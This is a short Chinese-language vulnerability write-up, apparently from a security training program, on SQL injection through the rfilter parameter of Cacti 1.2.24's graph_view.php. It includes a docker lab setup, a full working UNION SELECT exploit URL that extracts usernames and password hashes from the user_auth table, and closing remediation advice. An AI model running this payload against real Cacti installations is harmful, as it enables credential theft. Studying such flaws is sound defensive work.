[ WHS 3期 ] - 南基灿_7342 (ChoDeokCheol)
graph_view.php 文件的 grow_right_pane_tree 函数存在漏洞。action 参数设置为 tree_content 时,存在用户输入参数 rfilter。rfilter 参数虽然通过 html_validate_tree_vars 函数进行验证,但该验证仅检查是否为有效的正则表达式。rfilter 的值被插入到 SQL 查询中,从而可能实现代码注入。docker-compose -v 检查 Docker Compose 是否安装及其版本。docker compose up -d 构建 PoC 环境(镜像:cacti:1.2.24)。

该漏洞在认证设置中,若允许普通用户(guest)查看 graph,则会发生。
该漏洞可通过以下参数输入进行验证:
%20OR%20""="((":典型的 SQL 注入代码,通过 OR 强制满足真条件。%20UNION%20SELECT%:获取任意期望的结果。(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201):请求 id#username#password 值。(select%20user()),(select%20version()):获取数据库用户/版本。%23:由于是 #,后面的 SQL 语句被无效化。
http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23
可以看到服务器按请求返回了响应。
SQL 注入攻击通常发生在服务器交互过程中接收用户输入时。此次 SQL 注入攻击导致数据库内部机密性受到破坏,资产被泄露。针对该 SQL 注入的修复措施包括:检查 rfilter 的基础白名单值验证,或对特定字符(如 ", ', ; 等)进行转义处理;或者在进行数据库访问时使用类似 Doctrine 的 ORM 库进行改进。